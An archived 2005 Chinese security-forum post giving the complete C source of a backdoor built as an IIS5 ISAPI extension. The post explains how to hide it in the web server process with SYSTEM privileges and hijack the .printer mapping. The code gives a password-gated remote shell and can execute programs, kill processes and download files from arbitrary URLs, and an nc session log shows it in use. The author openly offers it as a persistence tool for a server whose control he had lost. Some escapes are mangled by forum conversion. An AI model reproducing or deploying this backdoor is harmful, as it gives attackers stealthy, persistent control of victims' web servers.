邪恶八进制信息安全团队技术讨论组's Archiver

netxfly 2005-8-26 12:36

[转载]IIS5 ISAPI Extension Back Door

From [P.S.T]

Our Team: [url]http://www.ph4nt0m.org[/url]
Author: 云舒([email]wustyunshu@hotmail.com[/email])
Date: 2005-08-18

一.前言
二.申明
三.实现
四.参考


一.前言

最近一个比较好的远程测试服务器控制权限丢失了,上面安装的是加壳过的hxdef100后门。前
几天又抓了回来,发现上面安装了IceSword,这个软件已经是大家都知道了,运行之后,RootKit
都是刺眼的红色,装了不如不装,因此萌发了写个后门的想法。由于能力有限,无法绕到系统的底
层,只能走别的途径。刚好前些日子研究彻底防止SQL Injection攻击时,看了些IIS5的ISAPI
Filter文档,决定利用IIS提供的API接口做个东西。这样,进程隐藏,端口隐藏,服务隐藏问题都
不需要我解决了。为了隐蔽性,我选择了ISAPI Extension接口。前后大约一个多星期,做出了一
个这样的东西,还不知道叫什么名字好。

二.申明

1.代码里面有些特殊字符,因为我忘记不了她。
2.代码可以随意转载,但是请保证文档完整,并不得用于商业用途。
3.代码可以随意修改,但是如果能够给我一份,将不胜感激。
4.代码用做任何用途均与我无关。

三.实现

1.解析

鉴于隐蔽性,我没有选择ISAPI Filter,而是选择了ISAPI Extension方式。ISAPI Extension
是IIS的功能扩展模块,它能独立支持某一项特殊的HTTP请求,系统默认支持的asp脚本由%
SystemRoot%\system32\inetsrv\inetsrv\asp.dll解析。自己实现一个动态连接库,就可以实现自
己特殊的功能,例如php就是利用自己带的dll文件来解析php文件的。IIS先获取请求文件的扩展名
,再根据配置的应用程序映射,交由特定的dll处理。

2.权限

IIS5的配置都保存在%SystemRoot%\system32\inetsrv\MetaBase.bin文件中,它有两个主键:
LM和Schema。LM主键下面有W3SVC/InProcessIsapiApps键,这是一个数组,里面包含的是一组指向
一些ISAPI的路径。在这个数组里面的ISAPI运行的时候都是由inetinfo.exe直接启动的,继承
inetinfo.exe的local system权限;而不在其中的ISAPI则是由svchost.exe派生的dllhost.exe进
程启动的,运行的身份是IWAM_NAME,权限极低。这里,我们可以使用iis的脚本adsutil.vbs将我
们的dll加到数组当中,命令为adsutil.vbs set w3svc/inprocessisapiapps Dll Path。更好的办
法是替换掉printer扩展的映射,此映射由%systemroot%\msw3prt.dll来解析,而且这个dll文件默
认存在于W3SVC/InProcessIsapiApps键中。这也就是2000年.printer溢出得到system权 限的原因。

3.导出

根据MSDN描述,ISAPI Extension需要导出三个函数,GetExtensionVersion,
TerminateExtension以及HttpExtensionProc

4.功能

首先,密码功能肯定是需要的,这里我将标准的HTTP协议扩充出一个Icy方法,如果客户端使
用此方法请求注册的映射,则认证成功,否则不予理睬。这里,你也可以修改代码,使用HTTP协议
的其他部分做认证,比如Accept字段。
其次,后门主要是获取一个shell,但是某些服务器可能设置了禁止system访问cmd,因此,我
还提供了下载功能,这样可以下载一个cmd,然后通过shell CustomerCmd运行,得到shell执行命
令。最后就是列举进程和查杀进程了。
在虚拟机上测试,我注册了扩展名为yunshu交由此dll解析。使用nc连接,发送自己扩展的
http协议,屏幕copy如下:
C:\>nc -vv 192.168.10.250 80
Warning: forward host lookup failed for Icy.missyou.com: h_errno 11004:
NO_DATA
Icy.missyou.com [192.168.10.250] 80 (http) open: unknown socket error
Icy /test.yunshu HTTP/1.0
HOST: 192.168.10.250

Can you tell me how to forget some one?
Code by 云舒
Our team:[url]www.ph4nt0m.org[/url]

Icy>help

Now,Support these command:
pslist--------------List Process Information
kill PID------------Kill The Process
exec Program--------Run A Program
shell ShellPath-----Get A System Shell,Normal shell cmd.exe
down URL------------DownLoad A File
exit----------------Exit
Icy>
5.代码
Codz:


[code]
// ISAPI EXTENSION BACK DOOR
// Code by 云舒
// Thx EnvyMask
// 修改2005-08-14凌晨
// 最后2005-08-16
// Compiled On: Windows Server2003,VC++ 6.0

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <httpext.h>
#include <UrlMon.h>

#pragma comment(lib, "urlmon.lib")

#define DEBUG
#define   LOGPATH      "c:\ISAPI_LOG.txt"

//后门密码
#define   PASSWORD   "Icy"

//标识符
#define FLAG   "Icy>"

//缓冲区大小
#define   BUFFSIZE   1024 * 4
#define ARGSIZE      1024

typedef struct workArg
{
   EXTENSION_CONTROL_BLOCK      *pECB;
   char                arg[ARGSIZE];
}WORKARG;

//定义函数原形
BOOL   StartWith( char * , char * );                //判断

第一个字符串是否以第二个字符串开头
void   SwitchCmd( EXTENSION_CONTROL_BLOCK * , char * );   //根据输入的命令来选择

执行的功能
void   PsList( EXTENSION_CONTROL_BLOCK * );           //列举进程
void    Kill( LPVOID );                        

   //杀进程
void   Shell( LPVOID );                     

   //获取一个shell
void   ExecProgram( LPVOID );                     

//运行一个程序
void   Help( EXTENSION_CONTROL_BLOCK * );              //输出

帮助
void   DownLoad( LPVOID );                     

   //下载文件
BOOL   SendToClient( EXTENSION_CONTROL_BLOCK * , char * ); //发送数据到客户端
void   LogStrToFile( char * );                     

//记录字符错误信息到日志
void   LogIntToFile( int );                     

//记录整数信息到日志

//DLL入口
BOOL APIENTRY DllMain( HANDLE hModule,
                DWORD ul_reason_for_call,
                LPVOID lpReserved )
{
   return TRUE;
}

//版本信息
BOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO *pVer)
{
   pVer->dwExtensionVersion = MAKELONG(HSE_VERSION_MINOR,HSE_VERSION_MAJOR);
   strcpy( pVer->lpszExtensionDesc, "What_Can_I_Do?" );

   return TRUE;
}


BOOL WINAPI TerminateExtension(  DWORD dwFlags  )
{
   return TRUE;
}

DWORD WINAPI HttpExtensionProc(EXTENSION_CONTROL_BLOCK * pECB)
{
   char    buff[BUFFSIZE] = { 0 };
   char    *err = "Error...\n";
   char    *helo = "Can you tell me how to forget some one?\nCode by 云舒\nOur

team:<a href="[url]http://www.ph4nt0m.org[/url]\n\n" target="_blank">[url]www.ph4nt0m.org[/url]\n\n</a>";

   DWORD    dwBytes = 64;

   //获取客户端密码,连接到web服务器,发送请求,请求方式为密码
   pECB->GetServerVariable( pECB->ConnID , "REQUEST_METHOD" , buff , &dwBytes );

   if ( strncmp( buff , PASSWORD , strlen(PASSWORD) ) != 0 )
   {
      SendToClient( pECB , err );
      return HSE_STATUS_SUCCESS;
   }

   #ifdef   DEBUG
      LogStrToFile( "-------------------------------\n" );
      LogStrToFile( "客户端成功登陆\n" );
   #endif

   SendToClient( pECB , helo );
   SendToClient( pECB , FLAG );

   while(TRUE)
   {
      ZeroMemory( buff , BUFFSIZE );
      dwBytes = BUFFSIZE;

      while( buff[0] == &#39;&#39; )//判断是否是空串
      {
        Sleep(1000);
        pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
      }

      if( strcmp( buff , "exit\n" ) == 0 )
      {
        SendToClient( pECB , "ByeBye...\n" );
        break;
      }

      SwitchCmd( pECB , buff );
   }

   return HSE_STATUS_SUCCESS;
}

void SwitchCmd( EXTENSION_CONTROL_BLOCK *pECB , char *buff )
{
   WORKARG      workArg;
   HANDLE      hThread = NULL;
   DWORD      threadID = 0;

   //SendToClient( pECB , "客户端命令: " );
   //SendToClient( pECB , buff );

   #ifdef   DEBUG
      LogStrToFile( "客户端命令: " );
      LogStrToFile( buff );
   #endif

   //去掉命令里面的回车符
   *(strchr( buff , &#39;\n&#39; )) = &#39;&#39;;

   //参数不能超过ARGSIZE
   if( strlen( buff+5 ) >= ARGSIZE )
   {
      SendToClient( pECB , "Arguments is too long...\n" );
      SendToClient( pECB , FLAG );

      return;
   }

   //将要传递给新线程的参数清空
   ZeroMemory( workArg.arg , sizeof(workArg.arg) );

   //如果是pslist命令,列举进程
   if( StartWith(buff , "pslist") )
   {
      hThread = CreateThread( NULL ,
                      0 ,
                     

(LPTHREAD_START_ROUTINE)PsList ,
                      (LPVOID)pECB ,
                      0 ,
                      &threadID );

      if( hThread == NULL )
      {
        #ifdef DEBUG
           LogStrToFile( "创建线程列举进程失败,错误码: " );
           LogIntToFile( GetLastError( ) );
           LogStrToFile( "\n" );
        #endif

        SendToClient( pECB , "List process error...\n" );
        SendToClient( pECB , FLAG );

        return;
      }

      WaitForSingleObject( hThread , 6000 );
      CloseHandle( hThread );
      SendToClient( pECB , FLAG );

      return;
   }

   //kill命令,杀进程
   else if( StartWith(buff , "kill") )
   {
      //如果没有参数
      if( *( buff+5 ) == &#39;&#39; )
      {
        SendToClient( pECB , "Usage:kill pid\n" );
        SendToClient( pECB , FLAG );

        return;
      }

      workArg.pECB = pECB;
      strcpy( workArg.arg , buff+5 );

      hThread = CreateThread( NULL ,
                      0 ,
                     

(LPTHREAD_START_ROUTINE)Kill ,
                      (LPVOID)&workArg ,
                      0 ,
                      &threadID );

      if( hThread == NULL )
      {
        #ifdef DEBUG
           LogStrToFile( "创建线程杀进程失败,错误码: " );
           LogIntToFile( GetLastError( ) );
           LogStrToFile( "\n" );
        #endif

        SendToClient( pECB , "Kill process error...\n" );
        SendToClient( pECB , FLAG );

        return;
      }
      WaitForSingleObject( hThread , 5000 );
      CloseHandle( hThread );
      SendToClient( pECB , FLAG );

      return;
   }

   //shell命令,运行一个cmd获取shell,为防止主机设置权限,需指明cmd路径
   else if( StartWith(buff , "shell") )
   {
      //如果没有参数
      if( *( buff+6 ) == &#39;&#39; )
      {
        SendToClient( pECB , "Usage:shell ShellPath\n" );
        SendToClient( pECB , FLAG );

        return;
      }

      workArg.pECB = pECB;
      strcpy( workArg.arg , buff+6 );

      hThread = CreateThread( NULL ,
                      0 ,
                     

(LPTHREAD_START_ROUTINE)Shell ,
                      (LPVOID)&workArg ,
                      0 ,
                      &threadID );

      if( hThread == NULL )
      {
        #ifdef DEBUG
           LogStrToFile( "创建线程执行shell失败,错误码: " );
           LogIntToFile( GetLastError( ) );
           LogStrToFile( "\n" );
        #endif

        SendToClient( pECB , "Get shell error...\n" );
        SendToClient( pECB , FLAG );

        return;
      }
      WaitForSingleObject( hThread , INFINITE );
      CloseHandle( hThread );

      return;
   }

   else if( StartWith(buff , "exec") )
   {
      //如果没有参数
      if( *( buff+5 ) == &#39;&#39; )
      {
        SendToClient( pECB , "Usage:shell ShellPath\n" );
        SendToClient( pECB , FLAG );

        return;
      }

      workArg.pECB = pECB;
      strcpy( workArg.arg , buff+5 );

      hThread = CreateThread( NULL ,
                      0 ,
                     

(LPTHREAD_START_ROUTINE)ExecProgram ,
                      (LPVOID)&workArg ,
                      0 ,
                      &threadID );

      if( hThread == NULL )
      {
        #ifdef DEBUG
           LogStrToFile( "创建线程运行程序失败,错误码: " );
           LogIntToFile( GetLastError( ) );
           LogStrToFile( "\n" );
        #endif

        SendToClient( pECB , "Execute program error...\n" );
        SendToClient( pECB , FLAG );

        return;
      }
      WaitForSingleObject( hThread , 10000 );
      CloseHandle( hThread );

      return;
   }

   //down命令,利用http协议下载文件
   else if( StartWith(buff , "down") )
   {
      //如果没有参数
      if( *( buff+5 ) == &#39;&#39; )
      {
        SendToClient( pECB , "Usage:down

<a href="[url]http://www.example.com/test.exe[/url]\n" target="_blank">[url]http://www.example.com/test.exe[/url]\n</a>" );
        SendToClient( pECB , FLAG );

        return;
      }

      workArg.pECB = pECB;
      strcpy( workArg.arg , buff+5 );

      hThread = CreateThread( NULL ,
                      0 ,
                     

(LPTHREAD_START_ROUTINE)DownLoad ,
                      (LPVOID)&workArg ,
                      0 ,
                      &threadID );

      if( hThread == NULL )
      {
        #ifdef DEBUG
           LogStrToFile( "创建线程下载文件失败,错误码: " );
           LogIntToFile( GetLastError( ) );
           LogStrToFile( "\n" );
        #endif

        SendToClient( pECB , "Download file error...\n" );
        SendToClient( pECB , FLAG );

        return;
      }
      WaitForSingleObject( hThread , INFINITE );
      CloseHandle( hThread );
      SendToClient( pECB , FLAG );

      return;
   }

   //命令不正确,输出帮助
   else
   {
      hThread = CreateThread( NULL ,
                      0 ,
                     

(LPTHREAD_START_ROUTINE)Help ,
                      (LPVOID)pECB ,
                      0 ,
                      &threadID );

      if( hThread == NULL )
      {
        #ifdef DEBUG
           LogStrToFile( "创建线程输出帮助信息失败,错误码: " );
           LogIntToFile( GetLastError( ) );
           LogStrToFile( "\n" );
        #endif

        SendToClient( pECB , "Print help error...\n" );
        SendToClient( pECB , FLAG );

        return;
      }
      WaitForSingleObject( hThread , 5000 );
      CloseHandle( hThread );
      SendToClient( pECB , FLAG );

      return;
   }
}

//判断字符串buf1是否以buf2开头,是返回真
BOOL StartWith( char *buf1, char *buf2 )
{
   int len = strlen(buf2);

   if( memcmp( buf1,buf2,len) == 0)
   {
      return TRUE;
   }
   return FALSE;
}

//运行shell
void Shell( LPVOID arg )
{
   WORKARG            *workArg = (WORKARG *)arg;

   SECURITY_ATTRIBUTES    sa;
   HANDLE               

hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
   STARTUPINFO           si;
   PROCESS_INFORMATION    procInfo;
   char              cmdLine[ARGSIZE] = { 0 };
   char              buff[BUFFSIZE] = { 0 };
   int                ret = 0;
   unsigned long        dwBytes = 0;
   int                index = 0;

   EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

   strcpy( cmdLine , workArg->arg );

   if( cmdLine[0] == &#39;&#39; )
   {
      #ifdef   DEBUG
        LogStrToFile( "执行shell时,没有要输入要运行的shell路径\n" );
      #endif

      SendToClient( pECB , "No shell to run...\n" );
      SendToClient( pECB , FLAG );

      return;
   }

   #ifdef   DEBUG
      LogStrToFile( "要运行的程序: " );
      LogStrToFile( workArg->arg );
      LogStrToFile( "\n" );
   #endif

   //安全选项
   sa.nLength = sizeof( sa );
   sa.lpSecurityDescriptor = 0;
   sa.bInheritHandle = TRUE;

   //初始化管道
   if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
   {
      #ifdef   DEBUG
        LogStrToFile( "建立管道失败: " );
        LogIntToFile( GetLastError() );
        LogStrToFile( "\n" );
      #endif

      SendToClient( pECB , "Create pipi error...\n" );
      SendToClient( pECB , FLAG );

      return;
   }

   if( !CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0) )
   {
      #ifdef   DEBUG
        LogStrToFile( "建立管道失败: " );
        LogIntToFile( GetLastError() );
        LogStrToFile( "\n" );
      #endif

      SendToClient( pECB , "Create pipi error...\n" );
      SendToClient( pECB , FLAG );

      return;
   }

   ZeroMemory( &si , sizeof(STARTUPINFO) );
   GetStartupInfo( &si );

   si.cb = sizeof( si );
   si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
   si.wShowWindow = SW_HIDE;
   si.hStdInput = hReadPipe2;
   si.hStdOutput = si.hStdError = hWritePipe1;

   ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );

   ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si

, &procInfo );
   if( !ret )
   {
      #ifdef   DEBUG
        LogStrToFile( "建立进程失败...\n" );
        LogIntToFile( GetLastError() );
      #endif

      SendToClient( pECB , "Create process error...\n" );
      SendToClient( pECB , FLAG );

      return;
   }

   while(1)
   {
      memset( buff , 0 , BUFFSIZE );

       ret=PeekNamedPipe( hReadPipe1 , buff , BUFFSIZE , &dwBytes , NULL ,

NULL );

       //尝试5次读取管道,防止延迟发生错误
       for( index = 0; index < 5 && dwBytes == 0; index ++ )
      {
        Sleep(100);
        ret = PeekNamedPipe

(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
      }

      //获取输出信息,输出到客户端
       if(dwBytes)
      {
          ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
          if( !ret )
        {
           #ifdef   DEBUG
              LogStrToFile( "读取输出失败: " );
              LogIntToFile( GetLastError() );
              LogStrToFile( "\n" );
           #endif

           break;
        }

        #ifdef   DEBUG
           LogStrToFile( buff );
        #endif

        ret = SendToClient( pECB , buff );
          if( ret<=0 )
        {
           #ifdef   DEBUG
              LogStrToFile( "发送输出失败:" );
              LogIntToFile( GetLastError() );
              LogStrToFile( "\n" );
           #endif

           break;
        }
       }

      //从客户端获取命令
      else
      {
        //客户端无输入则循环读取
        while( buff[0] == &#39;&#39; )
        {
           Sleep(100);
           dwBytes = BUFFSIZE;

           pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
        }

        #ifdef   DEBUG
           LogStrToFile( "读到客户命令了,内容是: " );
           LogStrToFile( buff );
        #endif

        //如果是exit命令,退出连接
        if( strcmp( buff , "exit\n" ) == 0 )
        {
           SendToClient( pECB , "ByeBye~!\n" );
           break;
        }

        ret = WriteFile( hWritePipe2 , buff , dwBytes , &dwBytes , 0 );
          if( !ret )
        {
           #ifdef   DEBUG
              LogStrToFile( "把命令发送到shell失败\n" );
              LogIntToFile( GetLastError() );
              LogStrToFile( "\n" );
           #endif

           break;
        }
      }
   }
   CloseHandle(hReadPipe1);
   CloseHandle(hReadPipe2);
   CloseHandle(hWritePipe1);
   CloseHandle(hWritePipe2);

   TerminateProcess( procInfo.hProcess , 0 );

   return;
}

//运行一个程序
void   ExecProgram( LPVOID arg )
{
   WORKARG            *workArg = (WORKARG *)arg;

   SECURITY_ATTRIBUTES    sa;
   HANDLE              hReadPipe1 = NULL;
   HANDLE              hWritePipe1 = NULL;
   STARTUPINFO           si;
   PROCESS_INFORMATION    procInfo;
   char              cmdLine[ARGSIZE] = { 0 };
   char              buff[BUFFSIZE] = { 0 };
   int                ret = 0;
   unsigned long        dwBytes = 0;

   EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

   strcpy( cmdLine , workArg->arg );

   if( cmdLine[0] == &#39;&#39; )
   {
      #ifdef   DEBUG
        LogStrToFile( "执行程序时,没有要输入要运行的程序\n" );
      #endif

      SendToClient( pECB , "No program to run...\n" );
      SendToClient( pECB , FLAG );

      return;
   }

   #ifdef   DEBUG
      LogStrToFile( "要运行的程序: " );
      LogStrToFile( workArg->arg );
      LogStrToFile( "\n" );
   #endif

   //安全选项
   sa.nLength = sizeof( sa );
   sa.lpSecurityDescriptor = 0;
   sa.bInheritHandle = TRUE;

   //初始化管道
   if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
   {
      #ifdef   DEBUG
        LogStrToFile( "建立管道失败: " );
        LogIntToFile( GetLastError() );
        LogStrToFile( "\n" );
      #endif

      SendToClient( pECB , "Create pipi error...\n" );
      SendToClient( pECB , FLAG );

      return;
   }

   ZeroMemory( &si , sizeof(STARTUPINFO) );
   GetStartupInfo( &si );

   si.cb = sizeof( si );
   si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = si.hStdError = hWritePipe1;

   ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );

   ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si

, &procInfo );
   if( !ret )
   {
      #ifdef   DEBUG
        LogStrToFile( "建立进程失败...\n" );
        LogIntToFile( GetLastError() );
      #endif

      SendToClient( pECB , "Create process error...\n" );
      SendToClient( pECB , FLAG );

      return;
   }

   memset( buff , 0 , BUFFSIZE );
   
   //读取程序输出
   while( dwBytes == 0 )
   {
      Sleep(200);
      ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
   }

   ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
     if( !ret )
   {
      #ifdef   DEBUG
        LogStrToFile( "读取输出失败: " );
        LogIntToFile( GetLastError() );
        LogStrToFile( "\n" );
      #endif
   }

   #ifdef   DEBUG
      LogStrToFile( buff );
   #endif

   ret = SendToClient( pECB , buff );
     if( ret<=0 )
   {
      #ifdef   DEBUG
        LogStrToFile( "发送输出失败:" );
        LogIntToFile( GetLastError() );
        LogStrToFile( "\n" );
      #endif
   }

   CloseHandle(hReadPipe1);
   CloseHandle(hWritePipe1);

   TerminateProcess( procInfo.hProcess , 0 );

   return;
}

void   PsList( EXTENSION_CONTROL_BLOCK *pECB  )
{
   HANDLE        hProcessSnap = NULL;
   HANDLE        hProcess = NULL;
   PROCESSENTRY32    pe32;
   char        psBuff[BUFFSIZE] = { 0 };

   SendToClient( pECB , "Process Information List 0.1\n\n" );
   /*
   SendToClient( pECB , "Code by 云舒([email]wustyunshu@hotmail.com[/email])\n" );
   SendToClient( pECB , "[url]www.ph4nt0m.org[/url] <a href="[url]http://www.icylife.net[/url]\n" target="_blank">[url]www.icylife.net[/url]\n</a>" );
   */

   hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
    if( hProcessSnap == INVALID_HANDLE_VALUE )
    {
      #ifdef   DEBUG
        LogStrToFile( "Call CreateToolhelp32Snapshot error" );
        LogIntToFile( GetLastError() );
      #endif

      SendToClient( pECB , "List process information error...\n" );

      return;
    }

   pe32.dwSize = sizeof( PROCESSENTRY32 );

   if( !Process32First( hProcessSnap, &pe32 ) )
   {
      #ifdef   DEBUG
        LogStrToFile( "Call Process32First error" );
        LogIntToFile( GetLastError() );
      #endif

      SendToClient( pECB , "List process information error...\n" );

      SendToClient( pECB , FLAG );

      CloseHandle( hProcessSnap );

      return;
   }

   SendToClient( pECB , "PID\t\tProcessName\n" );

   do
   {
      ZeroMemory( psBuff , sizeof(psBuff) );
      sprintf( psBuff , "%d\t\t%s\n", pe32.th32ProcessID , pe32.szExeFile );

      SendToClient( pECB , psBuff );
   }
   while( Process32Next( hProcessSnap, &pe32 ) );

   return;
}

void   Kill( LPVOID arg )
{
   WORKARG      *workArg = (WORKARG *)arg;

   HANDLE      hProcess = NULL;
   DWORD      pID;

   EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

   HANDLE           hToken;
   LUID            sedebugnameValue;
   TOKEN_PRIVILEGES    tkp;

   pID = atoi( workArg->arg );

   if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES |

TOKEN_QUERY , &hToken ) )
   {
      #ifdef   DEBUG
        LogStrToFile( "Call OpenProcessToken error" );
        LogIntToFile( GetLastError() );
      #endif

      SendToClient( pECB , "Kill process error...\n" );

      return;
   }

   if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
   {
      #ifdef   DEBUG
        LogStrToFile( "Call LookupPrivilegeValue error" );
        LogIntToFile( GetLastError() );
      #endif

      SendToClient( pECB , "Kill process error...\n" );

      return;
   }

   tkp.PrivilegeCount = 1;
   tkp.Privileges[0].Luid = sedebugnameValue;
   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

   AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL );

   CloseHandle( hToken );

   hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , pID );
   if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL )
   {
      #ifdef   DEBUG
        LogStrToFile( "Call OpenProcess error" );
        LogIntToFile( GetLastError() );
      #endif

      SendToClient( pECB , "Kill process error...\n" );

      CloseHandle( hToken );
      CloseHandle( hProcess );

      return;
   }

   if ( !TerminateProcess( hProcess, (DWORD) -1 ) )
   {
      #ifdef   DEBUG
        LogStrToFile( "Call TerminateProcess error" );
        LogIntToFile( GetLastError() );
      #endif

      SendToClient( pECB , "Kill process error...\n" );

      CloseHandle( hToken );
      CloseHandle( hProcess );

      return;
   }

   SendToClient( pECB , "killed ok\n" );

   CloseHandle( hToken );
   CloseHandle( hProcess );
   return;
}

void   DownLoad( LPVOID arg )
{
   WORKARG   *workArg = (WORKARG *)arg;

   char   fileName[64] = { 0 };//保存的文件名
   char   fullPath[256] = { 0 };//保存的完整地址
   char   url[ARGSIZE] = { 0 };//下载的URL
   char   seps[] = "/";//分割字符
   char   *token;
   int      ret = 0;

   EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;;

   strcpy( url , workArg->arg );

   token = strtok( url , seps );
    while( token != NULL )
   {
      strcpy( fileName , token );
      token = strtok( NULL , seps );
   }
   strcpy( url , workArg->arg );

   GetCurrentDirectory( sizeof(fullPath) - sizeof(fileName) , fullPath );
   strcat( fullPath , "\" );
   strcat( fullPath , fileName );

   SendToClient( pECB , "Download " );
   SendToClient( pECB , url );
   SendToClient( pECB , "nThe file saved to " );
   SendToClient( pECB , fullPath );

   ret = URLDownloadToFile( 0 , url , fullPath , 0 , 0 );
   if( ret == S_OK )
   {
      SendToClient( pECB , "nDownLoad okn" );

    &nbssp; return;
   }
   #ifdef   DEBUG
      LogStrToFile( "Call URLDownloadToFile error" );
      LogIntToFile( GetLastError() );
   #endif

   SendToClient( pECB , "DownLoad file error...n" );

   return;
}

void   Help( EXTENSION_CONTROL_BLOCK * pECB)
{
   char   buff[BUFFSIZE] = "nNow,Support these command:n";

   strcat( buff , "pslist--------------List Process Informationn" );
   strcat( buff , "kill PID------------Kill The Processn" );
   strcat( buff , "exec Program--------Run A Programn" );
   strcat( buff , "shell ShellPath-----Get A System Shell,Normal shell cmd.exen"

);
   strcat( buff , "down URL------------DownLoad A Filen" );
   strcat( buff , "exit----------------Exitn" );

   SendToClient( pECB , buff );

   return;
}

void    LogStrToFile( char *buff )
{
   FILE   *fp = NULL;

   fp = fopen( LOGPATH , "a+" );
   if( fp == NULL ) return;
   fputs( buff , fp );
   fclose( fp );
}

void   LogIntToFile( int num )
{
   FILE   *fp = NULL;

   fp = fopen( LOGPATH , "a+" );
   if( fp == NULL ) return;

   fprintf( fp , "%d" , num );
   fclose( fp );
}

BOOL   SendToClient( EXTENSION_CONTROL_BLOCK * pECB , char *buff )
{
   DWORD   dwByte = strlen(buff);
   return (pECB->WriteClient( pECB->ConnID , buff , &dwByte , 0 ));
}

[/code]
四.感谢与参考

1.在获取shell的时候格式很难看,envymask告诉我是网络延迟的原因,得以解决,感谢!
2.参考《绿盟安全月刊》第37期的技术专题里面的第五章《Exploit Microsoft INTERNET
INFORMATION SERVER》,地址为[url]http://www.nsfocus.net/index.php?[/url]
act=magazine&do=view&mid=1662
3.参考MSDN函数库

云舒 2005-8-26 12:56

这个是IIS5的,IIS6结构有些不同
主要是在ReadClient回调函数那里有些问题,主要是http.sys驱动导致的。
最近没空继续了,希望以后能做出IIS6的。

页: [1]
© 1999-2008 EvilOctal Security Team